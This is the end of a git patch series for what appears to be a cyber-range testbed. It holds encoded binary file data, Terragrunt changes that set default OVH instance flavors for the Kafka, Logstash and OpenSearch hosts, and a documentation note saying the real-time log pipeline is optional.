zDG2?dMfNMIG@%)9e2uE(YUYCeP^=@ZIvo1WyaKT^tJ2B-+`uB}GIR`^@X+yx z6SFK&$rxazWI1NpN;+AwMlJz|s^|lS*>Ef8<1kpSL`t36pY7QfjdZz2$O)(-HY5ZQ z*%5`V;Pln^OYW6$Yg%f3`p&pvuo1tCxuUF#0|i5R&JM%X#c4Na=I(Z=P4GhN7*J~T zY~_t2qe%dj%2TaM(byzs^8zRL_S# z$K@UO^~Uf|X;~0UJG~>YlX!EjeJIG`L4;}+Oq08r015j#$XyZn@l}Xly{+}s^O^{& zpO3vI%H}qQ7x^|M-%crnDbce$uZjR|3$Y7-*Ryv?6jc%Hg54iM@cZ`8*o6Q-8~8^V z5AK1*j5we508v!p_1jJCq2OxZe}VV;*UNC3y1cq{92q-SbRb}lf+eZ5nZZzJ%)6`% z8`9fBe0hjP(La4g2&3^8clzpr^N3%2BW#epmVnhc+(6#Y{;o|)Z>NUzNzF>I$haoi zIa@|a@5hMw!tx%3MUjtklJCO{$nmDO0PI1P>u+^QY3W6eH%yD6 z&lVUFDUFvqo~HI%ocCXO2V~D=WETq%n~<|hTm9;UKsLAIbA0 zkm!{-M_*zu)TdORrfVP@0wm8$b`tuMX>eu^UqzdAg(6V9lBisUUDjRqz0f2PtK zNKmkB#vkk3z?ovcZ`yFG^~!0~$huO`s^f4{DV5R`UCbLkmV&T+UtlP5&v_!S6GcG$ zlQ@B(`!mwY&#SD0eWOicLD-lIHTXkd&$<=R6z;PYny7MtJl3tevr+ppQnOz4%C$@R zNidhE+anb3XCF=4F)qOYB;?^kKCQt4kqbLZthH(%CWJvy{mMP&r+YNtxqQW}S5Fy5 zE2l!@T6+8|?{>A*2Xydrj6v{3CpS}f&b1l-TyJhHN7rbQmKQOLN$pc;;%~>>vokBi znKzSOFL+1nL4JD>T+&>S3x2NWL1PMMlhzIX8M5=EPlnZ(FwGs~F4Lhi)jlhX3NwO* zfD~F6;1~7~jKc)1Y^XegHz-$4)${E)E4v_8(R)qLi1*mPOC+ZIRF~cL)vgf``JfQ^i1j`xLH^0Qql>%$C7Jp@ll z;v?yiPx0rERGayUN7$Ce-?xPj?8OSi`C;9>b(D_lU?Z<~0^F}@QRPt@!PQqVf7E)JN@3SQM<`Hf4eP*`Na7lT0gBJ`RuQN7rMQyRHWN?PA zFFlrxA{{ADn4;^|{xCwduc8v96h`AgxF-K({`q~TDLlB5srY_^=!rG>WEShyIXJ{R#rU=>?hKkyNL69;H1#B z`zSTPHWct@#vRWMSxK?DF~%$(YVKz_6zWY1!QrhTQRhm&yPr;^VM9|o6OrW=>O-IM z*}uY2vKnF2H=J_J!{;||zre2P3$ovrRo6CBi#PGEJ1rF8n*YdrsiOP2mQTjpYJ@*X zFI@j>)jIUR$Tvft+scop5Y^n6oUVcBDAb7&Fi6LdIXq~JS;&#ja`?BBfd zuE)=va9FFTns6zzZ@R`jAcZ}KjUK!{=f4?fT(u$!dli6mx#7!LV7=Q0Qng}S5R67T z`3bgNx{PseA}jC*#jxWez3fcT@YPwj6n*nPOaIEU-#o8b!L{V36g9VuFD$0E{(#ke z<~_@<^s_PFpIJ9KkIN?lHZvs%bJ--v#*$#(=QJS{2d|4;#*n=oOUn*RwM*ah{rKYbQ>QJ2Km8 zxj!K0S}t_Qck6uvn(L8tF97k&9r+7pKhG@ut>-p85xpc#RzIHL%(o*cw#(g^ zq}itjH_{R-!THI&yO!R|^Lyvh*s+V+ewH>)jbEWfc-b2;+bP|Vmd_M3>v_n(Y!+l2 zpFWm6u1DjX$<2qLjk9JMq}3pXc6{h3{cT{vXV9XxmyvW=)p)pj_^2c_*^Wh{^4W>7 zvg|Sk-t)c8#kZW4>D6)emgzQc{s7mgpG6uB2Ay?L{f@)C z4s~uejZCbqI%tr`rScy`7z3?edU`3A#*cNTz2(L9j{)kN;?}YRxFa@MFbvB}7eK7( zFej(jauk{C*UEh#t_W`8%vzJRJuyPP8Qdw`=3;G5FFrtHl-G|4II5r&>g7|Ub4yX zc!;K~J*+=hi_t;vI!hSm(J4z&gHLFk4X2K;#Ih9eT$UK>4~6QR@Vy;8oUsdSbT?zw zoOlO?R|>Z`Vx!A^Uo*mtOG0AP5mJv=Ett^)%tbkTue}~nije6Tb|QMU@d_YSDU25` zB>vgnH`3yZ!Ky5Bx&;a_5>I$Q_7A5i_nleiXR{di78R1>-;*FABq4+8c%2*0AB$WE zKzA6t(BL^_9j!|HP4j#JrlK&c%(Cr;FiP1%cIz4m`>RQdq^j%S;}E52e7G`dufqqK z%wnqwT^SK^xdT+qN81ukeNO0|X-pR%O)%{mpD}|nLM`PZ2Hh81^BX)nlNnf?6H}YV z?1Sb#ksoM3(&hZnW&O~91^K=3)CYFFMMok)?u$mcwCDQ@AK^p*-p}uAy-Do+p^te^ zBy4Ld1*5?@9!^wS65>TIMTx3WB7Nr$S-qU3xF*_Mroh^RKBND6nsmPx zZ!|dLl9R2Fkl{akzTbdoxWi*g0s;bQue3L-@B4QnET1U)QFoYV3Ju~x-dU6(09l5w}BRGWRSJb<0i53bd8cK&wZ#c4ToiT49lZ@rjnjvjf3<33=Ak0=OoaQ8HpjzxSd=Bx+mt2=`4e<*ZOl z$>MION45nIYGogLbG7UHLIcKSH^D(8zh3NiWaIFw?q^6e*i+1xe*DokX_*lTPPaW5 z<2*0Zm=Hof&^IUy3YmJ8moEHS^|V^G_?mE42x}rgg|IyT{nMy;Ra3wLWzN0udNjOfX1v+W)nv8>Gt$^ z?${`+kkBu)iZWi6H0oU53bu;Ke`fEWPizZEl`zjkJT4{0=03cuyPI-yadGk2kX{^6 z)cy2{=c9EH$ISTH7zun7XztL6;NlW#{D$&_-V;M9?wagBap9j>r%aovHK`Smo105i zg1BmL>{3Mr1`_wmwJVij`uqDQ4#<{~9H;6zx&jAKWPRfAw2?@~wcOPE*fTOxQqM%N zU#)wg;=_Mf_Q7r!)_;C2OOV1lswQz68IB!(JDdDhMmjo{$k6(ilXiSonV*}RZ(;|0 ze0)~tcvO9WQCneoxwMv+R*uq*VPH@gc1_PnI5`2?vA(P8Cm31!7T>Bfzh69qB5cvT zWh?!E@8O58N8^8R@RCOU`}glrknr!{<=68~B~F2Vd$^sC8j`dxk`9KV=Ii6S810{@+oco!3NVZ@%P8_c^y#1g>Gg0wzMk;7ghZ%GR%! z;QbP5EdD1q{3k%(A5ze`M)Be;K9N$GSeSj+lRBTvz8SN{L} zz>RMibdiuR04mvM6i!rK!v=0!W-I)L_pggFLx8j>QArP=9XlX<8c%1ZnajfookQ+O zL3Yvq_f>CS_%mIl$FU6!u#ye$_W}4Zho?Hqea_&DQ6Cp$|9e3(R94A(;NZnez1(p4 zgZl!2$Z7@^1xg7(1yh>YBl6$%=7(;85HtLg?ztmKBYAyPAo|5z@u8_ON*K=O`)ZlL zZ_R)^QDd6~g9GPh-V0KPy4KK~DqBmi8k{k-PUQYx53Z=;k65{=0aCYX>(&scAo?3h zDO?O@iY0S``0F1IBG3UQ#X+(M0HW+pfd4ovPkdK9z@ZGIj~3+RwRU%}^`HQyzixnQ zvu?UIsVpoj>r~>O87X~ZE1Ynvr#F}>-v6YTPB|N54c#D%|L^*dZBa-4^XHGWUtbDu z@7ApfxWa{_vgHQbE1>7xHa<>x>#qlP&#t+osr^C4#mtA^Q=hEC=fuYpnmVj3h1As4 zY?+&D7Hm%+62ylWAfp-ne=GuXTZiWlyzq!%*>2LVq9F7?N}Z*=-n)19=TBC7`9siA zcL%WQK7(7~WiPPd7$;f1B}< zi3Q3a5U5Sp=eC;K+NJ;m4q~&Pp4cZ|3+Szpz&?PUE~Gj(aqj3dBPhI&)D%Gthd$rk z*|`9^lpVKtY#MFgscDQ142uEsktTl*R&=Y)L#rHsv#ns=Vi-%`A7&3A%ZvmlRVqLr zh2YdQ6cQC>#IvA)GsHN)ZtDO4C8OXvG5G_+#8^noE&fp>U(tDT0)!+E?3-KlQ{uzh zofu$fzwF=|eg^@zlwAApg@pxhDAgQ__g=u6`WAnTe)ldhri!j^@^2Tgj?VfWeaz4U z9e^7m-^tEQILJ3Cje4?N+}x1_Qu=`Wy!W~Js$W-4I+DcV{NUu|6>)qJ8pu45R}ba? zTBq~OsGwQPjaa^oNS@w>uU`S9gNs{-VmK{r#{(^}hkHzHQ#CmD4x-i@RIgctnSfDK zqNwH%P&eIQ^JE1>J#Q&DT?X=FoTieLvt@Q9 z@mc#Mp`oENZY2)tB#PzEB+LjNw~G5%HOlLjSY+dZ$GdZLeF_5=(KCZ~&ppzw6%G4< z>vOp0ZsT~z`$E|wY(-xHZjFtLGc}dwAu=puBsnWbS!WhHvh+OJ%7Ospph?32jj8_x zR{?~W8M|hP7f?2QQGvay&0C}Q$#(o9Q0W>{Gc4x#_TvYin>cuc7kTR9l{TZyOB8vN zpLilGy8Pe0dzb77THLoeOS{6zp3C04mPJ^EkM9xiW6c+AGI{k_Nvm`$3aAUF3Km*e z0L@C!vf)RSjUM09{e;x5nc52eYi|6|mE-*C8H*rtN=m$A_aYmOT|`jo%>*+zW&WF` zz}j{}y|u_y8hq`o7?i3qzEmIsTijRZ!TkFlQK1Y_i@_G3ZFWxnH+O;8_3OsVgzTTu zE#LibW&tG;FRI=k2g|0Prq(GR$~r(`Qv`zin3EVD|F7BVMgO$E09;k7fWx=k=Tw^x znbVya4xdYR1Emd+Wgl2_yP+ghN!f(Um9%$lyhqLIj=KxrO&@4 zlsp1xBUTm_`oC5q70M>W+;S~he%aW6Cq7)Kv=&gy1DoIBO3ML?ZWWuZ z*sJs7cEE24Jv%#lk!C-`gbyF9GFSQcZHCal_x5sH4_!?(dh%~{pXh zQb_RF)eQ}?%1E=@+U(TpK%t&+`PF=^xUkTwdI0E0E&#btF=OM*rTCgX*)SYTlWLZ~ zuZ`>U&QDJmR82sWD%k|Rvr4J68~E*TI?am}g;AhkafoUow-n?bp)B5Ihr#uP8?zvP zKp!TYQoH<9>Xgp#nFtuXx~*yj{oJW1;8gB4H2U8Uj|sK9a}Hd60>PW|ZSd04N}5Wh zOEmiwkXO9|2D_9nYL5Uti6Jho=qEb1p@nWzccV_K)T{0K&yO^|A|%6!efC-}27L_w zk0kc#4eAE-@q}6Q(rvBOLCwJkVHdg)0we@~710lYc?wBw0|Nt^63sjHwm-kPSi1bE zqNW8xsn5Ot(BZz`;-Fr>#AIusTLOFEXH1A?ysu2YGEoh8e6J5PqH+1lb;-hTbW~S~ z{xy?>ez#7%dwtv*TU=j&Te%Z(Ar4I)foEmaNPz!$Gk-WB8mz}Y>%QbBDI-Hkhv4Gk z+H25N=IQai%uBkJU4r0Y1}C{@2P_A!6_`wq*}v-c{GHc44@8+>{XPfqAbkFNe~+Nm zCb}l0V(Li)ldQWPCIrI44nTqXf`I40)65AZw!XPOoY;&A*nd0H=SEMn)&lu(LdEQU0*V2?Tp{ zhE{EGEFDmJ^4oLWH|EIh*&jzpq=3poz`^UT764xGM6f1dTgWaipP z)qZkYjB*&ZR*5>e0%Sass>&HjF{m=+UMP}ScBe!*J@gVadJCPDHPx=qP#bIG2rNK#JF zw^rhm@MPuT!N(-@an6RbUI^7)qL1JWl) zNb(O6kY{WJQ=+(-;q~s5wtDNTELC6s@9ExK2kJ|XuXRG*c}j`%O|D#A*@i8Qg>nfHet1l2WdeFF zf24(iDr9T~?Pov`iGH>-J+sjd!BaAWH>0D#G8dt)jywBi)BcZ7-nW?Jv=Mqa#a||b z&0YSA8P^!+r@On=DrfR0yqRMCLLpMhrXfP~;UDrFF z#@?8i!AY`;0EyHWRrO#4;iPJ+Ad)IfsyC>bT2aA{o4YC#Gy*3Eam68B;AhB(dppgP zKyv0)_vUQl)9dr`<}fy3>|2^||a$w5(B6E4B6b+tKngSdFL9Z{!h+Y@m2 zxmZd1_-7zds}Oi76O;Zv@N~`-yF{n#$pLpH3o-YL2jz7K@=L`vcE8p8&gS3J|GZh{ z*O>>Ijb{vBhZltD*j0glg=wecmLDIUcG7L0zQTlUz>^GL5d-=tcK6DPtZ}`bGJW_c z9Su#p!}E=>yvaIn%)d5N14fI<;o*N;z5ldyzy*U#;T6r-7_0rMmW09eTE7R{+7PK7 zDW-BjL8^Z( zbF%87z6{alzp`elHxu(F%hN&DQNlT|+WxwmX!vy8q4nf|xA*pw z2%jUh6+~-`oPItq)R8-R94YSXmUDah871?twGj+0&kjnA8&j!7r<$ zj|nWkEkIy8i<2B%e!m?B?H=Eg7c*15?#Br_+toY61<|2*f3_SaTH(W4#Xp$+D?os6 zdva2c-eMQ{sgrPik+ty>+Mh?;OHzD>HGO?`L6^A12`%4iTNb^pQp;+~?t5^lWvYDg z-MPEgArAE{kT6}wz`!893`I&dJZr7x-*X&t3((jHsaTcDO_YSsEy3eY`Bx6BKC6i* zt^x-+U?XoPuJ*ZDhQf1;F{wCiMDw!F94Znw(y(zbT4|km0h%I_Chb8rj2>Yzk2(ih z|I_CFPd{Xe3xxnmM@J{%G=FE-=YqWS*~ffX6pFgnUf@#)e(DZ(IEsk4_-ZoX#zI7z zMCz=Lhz=XoH$pUNcY~Xcj(=U=onW~zo5l$x|FV`oC;oP*y}ezZmO^q(5;l~$>tXct zuSxamg%<7!Fp4jc@;h`))ojMRduJ{w3w+g!9DM9BW9lLc9FqNDR~I?j)y7(KnI6Ui z>9V-tGIG|$0cdDyG07oyQzXc5-!SCNSg%N zLN3Ys??wrz*Q6Hdd4W;!W1|N2&d$#MRZfQqRUxnAQFv#TG5t@+D>W zmg<_C8uvZGO|1c^JB+1VJB(Ls@<%BK1ek!6HOGP5aQts_T@pykabdYP?@Kjs6}P0| zq!|+%m)rfXR~Kb3T6FZH!dK1UWeHDCaQl^HY_0>Ypwh{)=|pi`pT9%wM$jnA+Gy!; zXZz5y=3V87g@Nb$$#9nazrE*!})rtWo;cZF{PLO|OZYoRNIfxXsTY zyK&F=d%tJcR&R4(yyN9E=|bS%-)Ol7eu9rKZf8~ZM=Dev^sxY|bsO#3>#h9sKhg9UVb~rWd#8%X{lL zD;)`%^QH$SJQ{%2gGcTJ|7cdOwc-N_%ZJIk_ z<0{~l62Jk1;%7B%@$vDe+kjJpJgU~n!%qr~3pQ;M0&b?w4b|9H{+`d?-v0EuPNgG8 zQ{JG~zopr088vsegFUf literal 0 HcmV?d00001 From 25e010d22625bfd33aa2c4259313168fe746a82b Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Fri, 20 Mar 2026 10:42:31 +0100 Subject: [PATCH 11/12] use correct default image flavours for ovh --- terragrunt/logging/module/kafka_variables.tf | 2 +- terragrunt/logging/module/logstash_variables.tf | 2 +- terragrunt/logging/module/opensearch_variables.tf | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/terragrunt/logging/module/kafka_variables.tf b/terragrunt/logging/module/kafka_variables.tf index 21fd10df..5be923ed 100644 --- a/terragrunt/logging/module/kafka_variables.tf +++ b/terragrunt/logging/module/kafka_variables.tf @@ -6,7 +6,7 @@ variable "kafka_image" { variable "kafka_flavor" { type = string description = "flavor of the kafka host" - default = "m1.large" + default = "d2-8" } variable "kafka_userdata" { diff --git a/terragrunt/logging/module/logstash_variables.tf b/terragrunt/logging/module/logstash_variables.tf index f7990047..122f5932 100644 --- a/terragrunt/logging/module/logstash_variables.tf +++ b/terragrunt/logging/module/logstash_variables.tf @@ -6,7 +6,7 @@ variable "logstash_image" { variable "logstash_flavor" { type = string description = "flavor of the logstash host" - default = "m1.large" + default = "d2-8" } variable "logstash_userdata" { diff --git a/terragrunt/logging/module/opensearch_variables.tf b/terragrunt/logging/module/opensearch_variables.tf index 95fc8394..78621f14 100644 --- a/terragrunt/logging/module/opensearch_variables.tf +++ b/terragrunt/logging/module/opensearch_variables.tf @@ -6,7 +6,7 @@ variable "opensearch_image" { variable "opensearch_flavor" { type = string description = "flavor of the opensearch host" - default = "m1.large" + default = "d2-8" } variable "opensearch_userdata" { From 42839c0cc3a34c2c7205303b6e10f1acb88c73fd Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Fri, 20 Mar 2026 11:33:42 +0100 Subject: [PATCH 12/12] add note on gather scripts --- docs/source/installation/logpipeline.rst | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/docs/source/installation/logpipeline.rst b/docs/source/installation/logpipeline.rst index 3bd0d790..8d6c9da6 100644 --- a/docs/source/installation/logpipeline.rst +++ b/docs/source/installation/logpipeline.rst @@ -9,8 +9,9 @@ the AttackBed infrastructure. The pipeline enables aggregation and retrieval of .. note:: - The usage of the log pipeline is optional to collect additional real-time log data. - However, the scenarios can be run without the setup of the log pipeline. + The log pipeline is optional and only required if *real-time log collection* is needed. + Scenarios can be run without it, with logs collected post-execution via the gather.yml + script and the `atb-kyoushi-gather role `_ Architecture